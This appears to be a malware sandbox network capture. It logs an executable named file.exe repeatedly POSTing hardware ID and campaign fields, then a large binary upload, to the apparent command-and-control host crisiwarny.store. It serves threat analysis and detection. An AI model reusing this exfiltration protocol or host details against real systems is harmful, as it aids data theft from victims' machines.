AQP+ZVAVs0A2VJ9Ba7+J2z1EVCITVekR6W5mryMC4N5Vl241R9FohqITgNj6bNpcLJfAY8ABbkB/pbZs/IK6jdJHPaFJ0qNF55SLBDbvmB/o1kdw29Gp0vm4dn98m32ORFYv4VKGdFCzBdqDa6vKWf1X1CXHAv2U+b32byxJ7ZxUkqtgix3pg6aVDtewo5McrNOCshIY5YB6O+Wu+oM5D8RY+CFCgnbWaxHM1P7pnYzkF4T30hG9g/mqdmj4nvk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	104.21.95.91	443	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:17:10 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: crisiwarny.store
2024-10-27 16:17:10 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 38 36 39 37 39 32 45 42 43 33 34 42 37 30 34 32 44 30 35 46 34 33 33 42 39 35 33 46 32 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"42869792EBC34B7042D05F433B953F22--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:17:11 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b2nqq7t5tq8lvno3qs2804sn5o; expires=Thu, 20 Feb 2025 10:03:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WKPvtkBoEUYd9TIuFr6pNXTufAWWYUPv0gMthpzvlQVlDdjMY%2FjxAA0hQvGcBgEf%2BGsuk95TPZ3WJ8izVWnIE7qK6yjnihzMdpl8Ft44%2F%2FzmME3MNFynvTuxCaEwH355nB3s"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93feaa7fb86b2a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13780&delivery_rate=2454237&cwnd=251&unsent_bytes=0&cid=91bb32613195497e&ts=1301&x=0"
2024-10-27 16:17:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 16:17:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	104.21.95.91	443	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:17:12 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: crisiwarny.store
2024-10-27 16:17:12 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 38 36 39 37 39 32 45 42 43 33 34 42 37 30 34 32 44 30 35 46 34 33 33 42 39 35 33 46 32 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"42869792EBC34B7042D05F433B953F22--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:17:13 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f6fd8hjlgkqd8asl66mbremjon; expires=Thu, 20 Feb 2025 10:03:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SUyiDOGpEzMUDFOLIgwvXs%2FfOflbRWDnrjEMFk1jrPlnvy3M9cUNXJAzzscX6E8Sydu%2F5TZW99WukAAgR62GkqiK9VBQfXbi20TPPwpXX2y%2FbvuPqCIf%2BNIv%2FrRbh3liWd1x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93feb76bf73abb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1177&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16022&delivery_rate=2401326&cwnd=251&unsent_bytes=0&cid=d172a0d244988e44&ts=566&x=0"
2024-10-27 16:17:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 16:17:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49710	104.21.95.91	443	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:17:14 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: crisiwarny.store
2024-10-27 16:17:14 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 38 36 39 37 39 32 45 42 43 33 34 42 37 30 34 32 44 30 35 46 34 33 33 42 39 35 33 46 32 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"42869792EBC34B7042D05F433B953F22--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:17:14 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-27 16:17:14 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1r0js90hv0mukl1gbj9bf61dgi; expires=Thu, 20 Feb 2025 10:03:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2BJqBCGfI2hAJdSrZxHm6mjct8byE%2Bj0%2F4ALTLQQ7E2l2%2FX%2FWMXVm68vAXMRLsQiJF2T5lHTiceEGD%2FPTUcQzhD%2Bq87M3zShBYaLiR4sTooPlEJ%2Fdx8UFQiwnHWwMJGOiJDD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93fec0df5d6c76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1226&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21534&delivery_rate=2294770&cwnd=251&unsent_bytes=0&cid=38bb6543f276d4ba&ts=548&x=0"
2024-10-27 16:17:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 16:17:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49711	104.21.95.91	443	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:17:15 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: crisiwarny.store
2024-10-27 16:17:15 UTC	1243	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 38 36 39 37 39 32 45 42 43 33 34 42 37 30 34 32 44 30 35 46 34 33 33 42 39 35 33 46 32 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"42869792EBC34B7042D05F433B953F22--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:17:17 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=35evltkeq8i9ejfdoh2fthtjv7; expires=Thu, 20 Feb 2025 10:03:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ykCFtqH1RMLSNPnt73%2BQOWAeGRyboz3OpDkn71NLFhWDyNzsHKRCMskylMEn3%2Fw8sOIGO%2B9NGEXoyCpLukX4vgqb2iwZ3NFBaRwObQpKWpmj94yeZTiNsfN3mKflKj0xi65X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93fecb2dda2c9d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1152&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2160&delivery_rate=2443881&cwnd=251&unsent_bytes=0&cid=9afce98e0237b6af&ts=1420&x=0"
2024-10-27 16:17:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 16:17:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49712	104.21.95.91	443	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:17:18 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551261 Host: crisiwarny.store
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 38 36 39 37 39 32 45 42 43 33 34 42 37 30 34 32 44 30 35 46 34 33 33 42 39 35 33 46 32 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"42869792EBC34B7042D05F433B953F22--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: 59 62 74 0f 1d bc e9 db 18 5e 33 4d 01 f8 fc 96 2f f8 93 e5 ce 7a 03 53 36 b5 98 ab eb 0f c2 67 a5 fa 9b a4 56 de 4d 35 cb 8d 7d 33 20 29 cd e0 be 14 6a 28 c2 5b 42 8b 1f 7a 2d 34 ff a9 ed 1f c3 58 63 64 ac 6a 72 10 06 59 3e 27 33 09 e9 81 90 e4 d6 9c b6 6b 7c a2 e8 7e 43 e3 07 c6 ef 43 26 a3 c8 ca 77 1d 6c a1 3c 03 84 ba c2 57 a3 96 21 5f 62 7c 42 d0 dc 6a e1 aa 7b 09 34 e5 5c f0 c4 f2 4f 7d e6 f5 86 a6 19 74 0d 3e d7 13 ba a3 fe 03 df 17 7b 4c a9 18 97 16 1e 50 62 ef 21 28 10 2c 85 df bc 3a 69 9d 28 40 59 9a 54 fb 9e 14 16 75 61 2b 3a f8 44 e4 7e ba d7 9f 32 65 6d 6d 2e a8 d0 15 1c 19 5c 51 64 f4 dd b6 47 82 e3 48 f2 61 9c 7f 22 e4 ee 00 6a c9 cd 10 1c c4 1d 93 18 a5 f8 b3 37 94 00 ed 08 0a f6 71 0b 7f e7 37 5e f9 44 13 9c 90 d8 7a e1 33 96 ec d0 f2 49 Data Ascii: Ybt^3M/zS6gVM5}3 )j([Bz-4XcdjrY>'3k\|~CC&wl<W!_b\|Bj{4\O}t>{LPb!(,:i(@YTua+:D~2emm.\QdGHa"j7q7^Dz3I
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: 5e 09 15 60 85 25 50 b5 f9 86 e9 b8 b4 54 e2 89 30 e7 3d 4f 85 5b b3 34 bc b3 63 eb 9e a6 c7 d4 51 06 24 bd bd b8 2a 4a 42 57 8f 93 13 51 6f 25 0b 03 d1 9f 86 29 71 d1 71 14 dc ee 36 d4 ed 5b a2 3e a1 7c 62 1e 29 32 0e 11 6e 36 27 b0 c2 10 df 5f c6 05 97 85 1b 51 fe 89 73 88 17 01 4a ca a5 fc 0b b5 1d c1 08 7d c1 d9 da 0c 86 c4 d6 aa be f1 8c d2 ef d1 2a e3 b1 da 0a e5 a9 de 04 15 7c 76 5c 04 a6 74 db ad 8d 58 cf ac 64 67 0c 66 7d 2b 48 35 55 98 5b 14 3c d2 12 c9 72 5f f8 8d 13 3e 12 69 69 37 91 53 d1 a6 1d b7 c6 69 62 b9 17 34 cd f0 cd 35 8f 1b 5f b9 1d 1e da 5c 3f b2 ee 6b 4a 0b 10 6d 93 4b 8d b8 dd bb aa 45 fe ea 4b 6c 33 ec 08 97 65 9e ab c9 43 b4 e3 26 24 33 a5 7d 04 ab 4f b5 65 a1 bb 42 e2 67 1c 00 86 90 f0 51 38 1e 26 63 8e be b0 d1 cd a5 41 c9 ef Data Ascii: ^`%PT0=O[4cQ$JBWQo%)qq6[>\|b)2n6'_QsJ}\|v\tXdgf}+H5U[<r_>ii7Sib45_\?kJmKEKl3eC&$3}OeBgQ8&cA
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: f0 fb 92 66 fc df 3b 5b 21 86 5e 74 50 df f3 39 fe 1f 21 84 0e 30 a7 8e fc 8c c2 56 01 1e 9c c3 db 61 00 ef ce 21 8f a5 3b 93 b3 ff ef d9 e1 a7 40 d7 19 a4 05 c3 c8 4d 03 7a 77 fa 55 60 ed 8e 6f 68 e7 03 f1 b3 de 1d 3a 7d 91 6e c5 62 2f 5f a5 07 b4 58 a0 c9 ff c0 1e c2 71 12 f0 1e 97 b0 52 55 20 75 5e 94 d1 f9 e7 09 9d b1 7d 18 76 24 d8 14 e3 fc 4e db 34 e1 01 0f 1f ca 34 52 27 d7 0f 47 50 ff fb e3 37 a5 70 fe 9f 9c 08 31 be 9b 49 66 b0 43 20 10 24 33 7e 05 aa 32 ca 4a e9 49 37 48 15 a8 e9 8b d4 6f 02 8c 74 09 71 34 9c fc 38 8e c0 89 2e 11 5b f9 6d 15 7e d4 a3 8f f7 2b ce 91 da b8 ab 19 bf a7 59 79 a5 4e 2b 4b 31 71 24 c9 25 1d 1d de 67 7a b0 12 cd ce c6 af ad 38 ae 09 0b ec 16 cc 2f 20 eb 61 c5 3b 7e 8e 81 23 cd 14 45 84 6a b1 7f d2 aa 9f ad cb 0d 66 a9 Data Ascii: f;[!^tP9!0Va!;@MzwU`oh:}nb/_XqRU u^}v$N44R'GP7p1IfC $3~2JI7Hotq48.[m~+YyN+K1q$%gz8/ a;~#Ejf
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: 6c bf 34 96 d5 9a c9 d9 4b e4 aa 4d bf 35 7d 3c 7e e2 38 e7 dd f9 39 3e 29 fc 01 3c 1d c1 ab 2c 9c eb db f0 e6 b0 1b 69 48 4e e2 63 37 c4 9b 26 33 8d 3e 28 d4 55 2f 8e 74 56 04 4a fe 3e a3 cc 50 10 79 05 e8 78 8e 9f 76 66 74 58 87 86 07 84 bc e4 98 10 c4 f1 06 4a 4c 6c f1 0d 32 8a 1c 8a 63 09 fb ed 8c 23 90 1f 3b 2e 6f 77 8c 98 54 60 20 2b b4 6f cf 39 96 fb a9 13 5e 62 3a 62 db 3f 97 4f 6a 62 ee cb 85 de f9 77 3a c9 7d 66 86 94 b6 26 b9 99 e8 8d df 07 ce 7d 70 6a 32 ee 3c 08 5e 1e 4e f2 e4 e3 2c f5 c1 da da a7 11 ad 88 6b 0a c1 86 69 5f 94 fb bb 21 44 8b 73 ea f8 a0 62 e8 e5 7f 6f 41 15 16 3e 17 17 b2 ce ba 04 e2 4a 21 06 01 fe 1a 88 b1 84 40 ea 1c a3 d0 26 f3 82 84 ae d1 0f 28 b3 f6 c3 cc e6 28 8a bc f5 b1 fd f1 4c 4b 2e c2 dc 5f b4 2b 59 8c 67 3c be ef Data Ascii: l4KM5}<~89>)<,iHNc7&3>(U/tVJ>PyxvftXJLl2c#;.owT` +o9^b:b?Ojbw:}f&}pj2<^N,ki_!DsboA>J!@&((LK._+Yg<
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: 8f 48 11 00 d3 b6 de 52 07 52 dd 04 52 a8 43 1b 4d 68 78 98 13 e2 76 36 7f 9d 33 5b 9d 50 6a c4 ee 96 42 bd d2 60 b5 63 27 7a 60 45 ab 1e 78 cd f0 f7 15 12 8e 00 16 58 cb 7f 08 ac 2f f0 6b f2 83 23 88 42 0a d0 69 5b e0 cf c9 a8 25 69 73 62 58 19 15 5c 31 50 f5 ce db 67 65 e8 b3 da d6 3c 7b ec 3f 6f 05 8e 30 70 0e 3b 83 05 b1 bc 40 73 a1 85 c9 5f fc e7 38 0e c5 f3 42 cb ee 73 cc 90 fd 57 21 dd 1a e9 94 69 41 95 a8 88 de ec cd 08 79 55 84 34 b3 be f9 24 39 62 ca 5c f0 5d 85 a6 c9 80 8e 47 49 e4 21 f2 9a 67 87 de fc 87 82 03 26 7e bf 71 46 7a 58 09 a0 82 8d 32 05 f0 15 6b 75 34 14 8b 01 5b 4f a5 75 54 40 2e c1 d7 4e 13 fa 48 83 5b 2f 43 0c 4b b9 9d 38 11 06 33 c5 bb 6e cf bc 18 4f dd 8c 86 4f 82 64 82 ba 0f 4f 66 04 39 c4 cc 55 71 98 11 8f 89 ed 38 f6 25 ef Data Ascii: HRRRCMhxv63[PjB`c'z`ExX/k#Bi[%isbX\1Pge<{?o0p;@s_8BsW!iAyU4$9b\]GI!g&~qFzX2ku4[OuT@.NH[/CK83nOOdOf9Uq8%
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: 42 84 da cc 8a b5 ae 9f 39 47 54 78 46 ce c7 1d db 6e f1 58 2b 4f e0 cf 68 97 a9 2a 74 f9 bf 7d 68 46 8c 86 e5 f8 af e2 b4 6a 09 19 7f f8 fc 4e d7 02 b6 aa 04 aa 0b f7 24 50 eb c7 09 9b cc a3 51 ef c5 b5 c6 c1 b7 d4 13 69 21 12 99 ca 13 08 3b 26 c5 3e fc 0f 5f 9e 22 8b 84 60 9f 3c 57 f6 bb 3f b8 f9 5e 7e cd ac 9d 36 4f 9f 9b 56 59 82 11 3b 0c f7 7a f2 9d a4 88 a3 93 5a 28 da bd ad 36 b1 d1 b0 df e8 9b 7a cd f1 de ec ec b6 12 c8 da 41 84 9f c2 bf 21 81 bf ea 10 fb 67 90 28 05 e3 11 6f 5b da 0e e1 d4 14 4e 5e 6a 78 67 8c ea 2a 2b ba a7 90 93 a8 39 ce 71 7d 99 84 b7 ba 47 9a 35 f4 c3 5e 3f 27 43 4b f4 4e 80 db 4a 59 02 53 9d 53 05 fe a8 bd 65 ae 83 36 2d 26 79 e6 ed 06 08 49 f0 36 38 71 19 79 71 df 8b c2 44 18 4f b2 72 49 47 07 c3 b7 54 98 39 3e e4 ca a3 b1 Data Ascii: B9GTxFnX+Oht}hFjN$PQi!;&>_"`<W?^~6OVY;zZ(6zA!g(o[N^jxg+9q}G5^?'CKNJYSSe6-&yI68qyqDOrIGT9>
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: a2 7f 4c b6 0d ca 83 3c 8d 60 8d b7 c6 ea b3 4a 84 12 24 fc 0b 59 ff e2 7a 52 b5 12 1a db ec de 2e 56 be f7 9c 43 7a 25 c6 37 90 40 26 34 94 69 51 b0 97 6e 10 06 62 b4 0d f1 42 0d 23 c6 21 be 1d ee 17 1f 62 2f d5 19 c8 e3 8b 51 57 d2 09 77 0f 9b b5 78 5f 7a 40 c8 74 f2 63 ff a6 5b 66 d7 00 bf 28 aa f6 bf 27 e3 c5 c1 21 c9 47 bb fd 06 85 8b 81 bb e3 5b 45 30 2b 87 98 20 e5 07 70 7c d1 a7 be a8 d3 4e 1f 27 7d a5 39 6b 8a d2 97 1a a3 9b 90 a8 81 b4 62 50 38 c4 87 08 50 84 5a 7b fa 2d c2 0d ad 57 5b 2c a5 ce e9 e2 db 23 68 01 de 85 12 e0 29 4c 7c 77 41 98 94 fb 08 bb 18 b4 d6 7f 24 c6 d0 1f ec 4c 89 f4 3d 6f c2 28 7c 97 ba 64 b5 73 50 be e8 70 03 82 f4 04 0d 4b 21 c4 64 de 9e d0 fa 29 e5 71 5e 7f 15 b2 61 7d c4 04 66 38 4d c6 9c 0e 6e 16 4a 9f 6e cb 98 e5 7a Data Ascii: L<`J$YzR.VCz%7@&4iQnbB#!b/QWwx_z@tc[f('!G[E0+ p\|N'}9kbP8PZ{-W[,#h)L\|wA$L=o(\|dsPpK!d)q^a}f8MnJnz
